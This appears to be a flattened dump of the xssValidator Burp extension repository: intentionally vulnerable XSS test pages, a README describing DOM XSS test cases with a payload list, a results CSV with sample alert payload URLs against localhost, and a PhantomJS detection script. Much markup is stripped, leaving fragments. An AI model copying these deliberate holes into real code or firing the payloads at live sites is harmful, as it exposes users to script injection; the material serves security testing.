https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/test/fixtures/.keep -------------------------------------------------------------------------------- /examples/basic-auth-test/test/helpers/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/test/helpers/.keep -------------------------------------------------------------------------------- /examples/basic-auth-test/test/integration/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/test/integration/.keep -------------------------------------------------------------------------------- /examples/basic-auth-test/test/mailers/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/test/mailers/.keep -------------------------------------------------------------------------------- /examples/basic-auth-test/test/models/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/test/models/.keep -------------------------------------------------------------------------------- /examples/basic-auth-test/test/test_helper.rb: -------------------------------------------------------------------------------- 1 | ENV["RAILS_ENV"] ||= "test" 2 | require File.expand_path('../../config/environment', __FILE__) 3 | require 'rails/test_help' 4 | 5 | class ActiveSupport::TestCase 6 | ActiveRecord::Migration.check_pending! 7 | 8 | # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order. 9 | # 10 | # Note: You'll currently still have to declare fixtures explicitly in integration tests 11 | # -- they do not yet inherit this setting 12 | fixtures :all 13 | 14 | # Add more helper methods to be used by all tests here... 15 | end 16 | -------------------------------------------------------------------------------- /examples/basic-auth-test/vendor/assets/javascripts/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/vendor/assets/javascripts/.keep -------------------------------------------------------------------------------- /examples/basic-auth-test/vendor/assets/stylesheets/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/basic-auth-test/vendor/assets/stylesheets/.keep -------------------------------------------------------------------------------- /examples/basic-xss.php: -------------------------------------------------------------------------------- 1 | 14 | 15 | 16 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /examples/bypass-regex.php: -------------------------------------------------------------------------------- 1 | 8 | 9 | 10 | Hello: 11 | 12 | 13 | 14 | /", "", $val); 18 | $val = preg_replace("/<\/script>/", "", $val); 19 | return $val; 20 | } 21 | ?> -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/xss-validator/739d54a84534c3013601ea66b222ee98fa3704da/examples/dom-xss extensive tests/.DS_Store -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/README.md: -------------------------------------------------------------------------------- 1 | xssValidatorTestCases 2 | ===================== 3 | 4 | A set of test case scripts for xssValidator Burp Extension - version extended with DOM based XSS detection (develop branch). 5 | 6 | See README.txt 7 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/README.txt: -------------------------------------------------------------------------------- 1 | Few days ago my team colleague (regards Jerzy!) told me to check out the new interesting Burp Plugin; nVision xssValidator (https://github.com/nVisium/xssValidator). As the Additional Scanner Checks plugin for burp has only basic grep feature against the JS code (https://code.google.com/p/domxsswiki/wiki/FindingDOMXSS) - which is far from being a source code analysis tool - I thought that a plugin with its own browser that builds DOM and executes JavaScript will be a much more accurate solution. I already had few test HTML pages with JavaScript for this purpose. 2 | As of writing this (13.09.2014), the master xssValidator branch uses the response delivered by Intruder (the actual response sent by the HTTP server hosting the original application we test) in order to deliver it to at least one of the headless webkit servers (phantomjs/slimerjs) so they build the DOM, execute the JavaScript which will, eventually, trigger one of the plugin payloads. The only problem with this approach is when only application response is delivered, most of purely DOM based Cross Site Scripting (with location.pathname, location.hash and location.search injection points) will not reach the testing JS sandbox because there is no original intruder request data delivered. 3 | So I took the source code and I modified it so it uses both the original request and response to make my test cases start working. Although the original URL was being delivered correctly, the location.* elements were still empty. I contacted with John Poulin, the lead developer - sharing my current concept, work and unsuccessful test result. He turned out to be very eager to introduce these changes into the development branch. He also explained to me the reason my current set was still not working; the JavaScript context of the application (server) we run on phantomjs is a separate context from the one of phantomjs browser object's. He introduced my changes plus his change into the xss.js so it passes the URL data to the context where our payloads are about to be executed - and bingo, it started to work. I also built my own payloads list (focusing on eval injection as well, not only on tag injection), then I also implemented and tested error based detection feature into the plugin (for nested, weird injection points, especially in callback definitions it will be lot easier to trigger an error than to come up with a comprehensive list of paylods where at least one of which will result in immediate trigger execution (alert/prompt/etc.). 4 | Then I extedned the test set, distinguishing different DOM based scenarios: 5 | 6 | Payload type: 7 | 1. HTML tag injcetion with JS code (.replace,.innerHTML, document.write etc) 8 | 2. JS injection (eval) 9 | 10 | Quoting type to escape: 11 | 1. no quotes (like eval(user_controlled)/document.write(user_controlled) 12 | 2. single quotes (like eval("'"+user_controlled+"'")/document.write("'"+user_controlled+"'") 13 | 3. double quotes (like eval('"'+user_controlled+'"')/document.write('"'+user_controlled+'"') 14 | 15 | INJECTION POINTS: 16 | 1) location.hash 17 | 2) location.search 18 | 3) location.pathname 19 | 20 | The last one (pathname) is especially interesting, while few know that it should be sanitized on the JS side too. With usual URL, like http://localhost/domhell/foo.php?var=val the pathname will be /domhell/foo.php, so it seems there is no way a malicious input could reside in that value since it consists of the document root relative file path we just received our document from, right? Depending on the server side platform, there is still some space for abuse. This usually has been used to bypass WAF-s, but it can also be used for XSS exploitation. 21 | In PHP the pathinfo also comprises anything before the ? (location.search (aka QUERY_STRING) starting delimiter) and the requested filename, if that additional content is prefixed with '/' sign. So, the http://localhost/domhell/foo.php/someevilstuff;?var=val will also take us to the foo.php, but now the pathinfo parameter will differ and equal to /domhell/foo.php/someevilstuff;. 22 | In JSP the additional pathinfo section starting delimier is ;. For PHP it's /. I am not sure how it looks like on other platforms. 23 | 24 | Combination of all these peculiarities resulted in the test set growing to 17 files already (https://github.com/ewilded/xssValidatorTestCases). 25 | 26 | And here is my test payloads list: 27 | 28 | ";{JAVASCRIPT};" 29 | ';{JAVASCRIPT};' 30 | ;{JAVASCRIPT}; 31 | ";{JAVASCRIPT}// 32 | ';{JAVASCRIPT}// 33 | 1;{JAVASCRIPT}// 34 | ;{JAVASCRIPT}// 35 | 1jsadif; 36 | '1jsadif; 37 | ';1jsadif; 38 | 39 | "> 40 | '> 41 | 42 | 44 | 48 | "> 50 | '> 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.hash.htmlinject.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.hash.htmlinject.squot.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.hash.jsinject.dquot.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.hash.jsinject.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.hash.jsinject.squot.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.pathname.htmlinject.dquot.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.pathname.htmlinject.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.pathname.htmlinject.squot.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.pathname.jsinject.dquot.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.pathname.jsinject.squot.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.search.htmlinject.dquot.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.search.htmlinject.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.search.htmlinject.squot.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.search.jsinject.dquot.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.search.jsinject.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/location.search.jsinject.squot.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/dom-xss extensive tests/test_results.csv: -------------------------------------------------------------------------------- 1 | TEST CASE,PHANTOMJS 1.9,IE 9,Chrome (37),Firefox (32.0),URL with valid sample payload 2 | location.hash.htmlinject.dquot.html,[NOTOK],[OK],[NOTOK],[NOTOK],"http://localhost/domhell/location.hash.htmlinject.dquot.html#"">" 3 | location.hash.htmlinject.squot.html,[NOTOK],[OK],[NOTOK],[NOTOK],http://localhost/domhell/location.hash.htmlinject.squot.html#' 4 | location.hash.htmlinject.html,[NOTOK],[OK],[OK],[OK],"http://localhost/domhell/location.hash.htmlinject.html#alert(299792458) 11 | location.pathname.htmlinject.squot.php,[OK],[NOTOK],[NOTOK],[NOTOK],http://localhost/domhell/location.pathname.htmlinject.squot.php/'> 12 | location.pathname.htmlinject.dquot.php,[OK],[NOTOK],[NOTOK],[NOTOK],"http://localhost/domhell/location.pathname.htmlinject.dquot.php/"">" 13 | location.search.jsinject.dquot.html,[NOTOK],[NOTOK],[NOTOK],[NOTOK],"http://localhost/domhell/location.search.jsinject.dquot.html?a="";alert(299792458)//" 14 | location.search.jsinject.squot.html,[OK],[OK],[NOTOK],[NOTOK],http://localhost/domhell/location.search.jsinject.squot.html?a=';alert(299792458);' 15 | location.search.jsinject.html,[OK],[OK],[OK],[OK],http://localhost/domhell/location.search.jsinject.html?a=1;alert(299792458)// 16 | location.search.htmlinject.squot.html,[NOTOK],[OK],[NOTOK],[NOTOK],http://localhost/domhell/location.search.htmlinject.squot.html?a='> 2 | 3 | Hello 4 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /examples/jscontext-xss.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /examples/resource-load.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | hello! 7 | 12 | 13 | -------------------------------------------------------------------------------- /license.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | Copyright © 2014 nVisium 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 5 | 6 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 7 | 8 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 9 | -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'xss-validator' 2 | -------------------------------------------------------------------------------- /xss-detector/xss.js: -------------------------------------------------------------------------------- 1 | /** 2 | * This is a basic phantomJS script that will be used together 3 | * with the xssValidator burp extender. 4 | * 5 | * This script launches a web server that listens by default 6 | * on 127.0.0.1:8093. The server listens for POST requests with 7 | * http-response data. 8 | * 9 | * http-response should contain base64 encoded HTTP response as 10 | * passed from burp intruder. The server will decode this data, 11 | * and build a WebPage bassed of the markup provided. 12 | * 13 | * The WebPage will be injected with the js-overrides.js file, 14 | * which contains triggers for suspicious JS functions, such as 15 | * alert, confirm, etc. The page will be evaluated, and the DOM 16 | * triggers will alert us of any suspicious JS. 17 | */ 18 | var DEBUG = true 19 | 20 | var system = require('system'); 21 | var fs = require('fs'); 22 | 23 | // Create xss object that will be used to track XSS information 24 | var xss = new Object(); 25 | xss.value = 0; 26 | xss.msg = ""; 27 | 28 | // Create webserver object 29 | var webserver = require('webserver'); 30 | server = webserver.create(); 31 | 32 | // Server config details 33 | var host = '127.0.0.1'; 34 | var port = '8093'; 35 | 36 | /** 37 | * parse incoming HTTP responses that are provided via BURP intruder. 38 | * data is base64 encoded to prevent issues passing via HTTP. 39 | */ 40 | parsePage = function(data,url,headers) { 41 | if (DEBUG) { 42 | console.log("Beginning to parse page"); 43 | console.log("\tURL: " + url); 44 | console.log("\tHeaders: " + headers); 45 | } 46 | 47 | var html_response = ""; 48 | var headerArray = { }; 49 | 50 | // Parse headers and add to customHeaders hash 51 | var headerLines = headers.split("\n"); 52 | 53 | // Remove several unnecessary lines including Request, and double line breaks 54 | headerLines.splice(0,1); 55 | headerLines.pop(); 56 | headerLines.pop(); 57 | 58 | for (var i = 0; i < headerLines.length; i++) { 59 | // Split by colon now 60 | var lineItems = headerLines[i].split(": "); 61 | 62 | headerArray[lineItems[0]] = lineItems[1].trim(); 63 | } 64 | 65 | wp.customHeaders = headerArray; 66 | 67 | wp.setContent(data, decodeURIComponent(url)); 68 | 69 | // Evaluate page, rendering javascript 70 | xssInfo = wp.evaluate(function (wp) { 71 | var tags = ["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "audioscope", "b", "base", "basefont", "bdi", "bdo", "bgsound", "big", "blackface", "blink", "blockquote", "body", "bq", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup", "command", "comment", "datalist", "dd", "del", "details", "dfn", "dir", "div", "dl", "dt", "em", "embed", "fieldset", "figcaption", "figure", "fn", "font", "footer", "form", "frame", "frameset", "h1", "h2", "h3", "h4", "h5", "h6", "head", "header", "hgroup", "hr", "html", "i", "iframe", "ilayer", "img", "input", "ins", "isindex", "kbd", "keygen", "label", "layer", "legend", "li", "limittext", "link", "listing", "map", "mark", "marquee", "menu", "meta", "meter", "multicol", "nav", "nobr", "noembed", "noframes", "noscript", "nosmartquotes", "object", "ol", "optgroup", "option", "output", "p", "param", "plaintext", "pre", "progress", "q", "rp", "rt", "ruby", "s", "samp", "script", "section", "select", "server", "shadow", "sidebar", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "sup", "table", "tbody", "td", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "tt", "u", "ul", "var", "video", "wbr", "xml", "xmp"]; 72 | var eventHandler = ["mousemove","mouseout","mouseover"] 73 | 74 | // Search document for interactive HTML elements, and hover over each 75 | // In attempt to trigger event handlers. 76 | tags.forEach(function(tag) { 77 | currentTags = document.querySelector(tag); 78 | if (currentTags !== null){ 79 | eventHandler.forEach(function(currentEvent){ 80 | var ev = document.createEvent("MouseEvents"); 81 | ev.initEvent(currentEvent, true, true); 82 | currentTags.dispatchEvent(ev); 83 | }); 84 | } 85 | }); 86 | // Return information from page, if necessary 87 | return document; 88 | }, wp); 89 | if(xss) { 90 | // xss detected, return 91 | return xss; 92 | } 93 | return false; 94 | }; 95 | 96 | /** 97 | * After retriving data it is important to reinitialize certain 98 | * variables, specifically those related to the WebPage objects. 99 | * Without reinitializing the WebPage object may contain old data, 100 | * and as such, trigger false-positive messages. 101 | */ 102 | reInitializeWebPage = function() { 103 | wp = require("webpage").create(); 104 | xss = new Object(); 105 | xss.value = 0; 106 | xss.msg = ""; 107 | 108 | // web page settings necessary to adequately detect XSS 109 | wp.settings = { 110 | loadImages: true, 111 | localToRemoteUrlAccessEnabled: true, 112 | javascriptEnabled: true, 113 | webSecurityEnabled: false, 114 | XSSAuditingEnabled: false, 115 | }; 116 | 117 | // Custom handler for alert functionality 118 | wp.onAlert = function(msg) { 119 | console.log("On alert: " + msg); 120 | 121 | xss.value = 1; 122 | xss.msg += 'XSS found: alert(' + msg + ')'; 123 | }; 124 | wp.onConsoleMessage = function(msg) { 125 | console.log("On console.log: " + msg); 126 | 127 | xss.value = 1; 128 | xss.msg += 'XSS found: console.log(' + msg + ')'; 129 | }; 130 | wp.onConfirm = function(msg) { 131 | console.log("On confirm: " + msg); 132 | 133 | xss.value = 1; 134 | xss.msg += 'XSS found: confirm(' + msg + ')'; 135 | }; 136 | 137 | wp.onPrompt = function(msg) { 138 | console.log("On prompt: " + msg); 139 | 140 | xss.value = 1; 141 | xss.msg += 'XSS found: prompt(' + msg + ')'; 142 | }; 143 | 144 | wp.onError = function(msg) { 145 | console.log("Parse error: "+msg); 146 | xss.value = 2; 147 | xss.msg +='Probable XSS found: execution-error: '+msg; 148 | }; 149 | return wp; 150 | }; 151 | 152 | // Initialize webpage to ensure that all variables are 153 | // initialized. 154 | var wp = reInitializeWebPage(); 155 | 156 | // Start web server and listen for requests 157 | var service = server.listen(host + ":" + port, function(request, response) { 158 | 159 | if(DEBUG) { 160 | console.log("\nReceived request with method type: " + request.method); 161 | } 162 | 163 | // At this point in time we're only concerned with POST requests 164 | // As such, only process those. 165 | if(request.method == "POST") { 166 | // Grab pageResponse from POST Data and base64 decode. 167 | // pass result to parsePage function to search for XSS. 168 | var pageResponse = request.post['http-response']; 169 | var pageUrl = request.post['http-url']; 170 | var responseHeaders = request.post['http-headers']; 171 | 172 | pageResponse = atob(pageResponse); 173 | pageUrl = atob(pageUrl); 174 | responseHeaders = atob(responseHeaders); 175 | 176 | //headers = JSON.parse(responseHeaders); 177 | headers = responseHeaders; 178 | 179 | if(DEBUG) { 180 | console.log("Processing Post Request"); 181 | } 182 | 183 | xssResults = parsePage(pageResponse,pageUrl,headers); 184 | 185 | // Return XSS Results 186 | if(xssResults) { 187 | // XSS is found, return information here 188 | response.statusCode = 200; 189 | response.write(JSON.stringify(xssResults)); 190 | response.close(); 191 | } else { 192 | response.statusCode = 201; 193 | response.write("No XSS found in response"); 194 | response.close(); 195 | } 196 | } else { 197 | response.statusCode = 500; 198 | response.write("Server is only designed to handle POST requests"); 199 | response.close(); 200 | } 201 | 202 | // Re-initialize webpage after parsing request 203 | wp = reInitializeWebPage(); 204 | pageResponse = null; 205 | xssResults = null; 206 | }); 207 | 208 | --------------------------------------------------------------------------------